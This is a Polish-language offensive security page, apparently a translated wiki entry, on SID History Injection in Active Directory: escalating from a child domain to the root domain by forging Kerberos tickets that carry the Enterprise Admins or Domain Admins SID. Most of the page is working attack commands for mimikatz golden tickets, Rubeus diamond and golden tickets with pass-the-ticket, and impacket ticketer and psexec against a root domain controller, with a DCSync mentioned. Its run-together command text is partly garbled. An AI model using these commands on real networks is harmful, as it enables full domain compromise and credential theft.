Celem ataku wstrzykiwania historii SID jest wspieranie migracji użytkowników między domenami, zapewniając jednocześnie ciągły dostęp do zasobów z poprzedniej domeny. Osiąga się to poprzez włączenie poprzedniego identyfikatora zabezpieczeń (SID) użytkownika do historii SID jego nowe konto. Co ważne, proces ten można zmanipulować, aby przyznać nieautoryzowany dostęp, dodając SID grupy o wysokich uprawnieniach (takiej jak Enterprise Admins lub Domain Admins) z domeny macierzystej do historii SID. To wykorzystanie przyznaje dostęp do wszystkich zasobów w domenie macierzystej.
Istnieją dwie metody wykonania tego ataku: poprzez stworzenie Złotego Biletu lub Diamentowego Biletu.
Aby określić SID dla grupy "Enterprise Admins", należy najpierw zlokalizować SID domeny głównej. Po identyfikacji, SID grupy Enterprise Admins można skonstruować, dodając -519 do SID domeny głównej. Na przykład, jeśli SID domeny głównej to S-1-5-21-280534878-1496970234-700767426, to wynikowy SID dla grupy "Enterprise Admins" będzie S-1-5-21-280534878-1496970234-700767426-519.
Można również użyć grupy Domain Admins, której SID kończy się na 512.
Innym sposobem na znalezienie SID grupy z innej domeny (na przykład "Domain Admins") jest:
mimikatz.exe"kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi""exit"/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
Aby uzyskać więcej informacji na temat złotych biletów, sprawdź:
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500/groups:512/sids:S-1-5-21-378720957-2217973887-3501892633-512/krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash>/domain:<child_domain>/sid:<child_domain_sid>/sids:<parent_domain_sid>-519/user:Administrator /ptt# You can use "Administrator" as username or any other string
Aby uzyskać więcej informacji na temat biletów diamentowych, sprawdź:
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py-nthash<krbtgt_hash>-domain<child_domain>-domain-sid<child_domain_sid>-extra-sid<root_domain_sid>Administrator# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache# psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10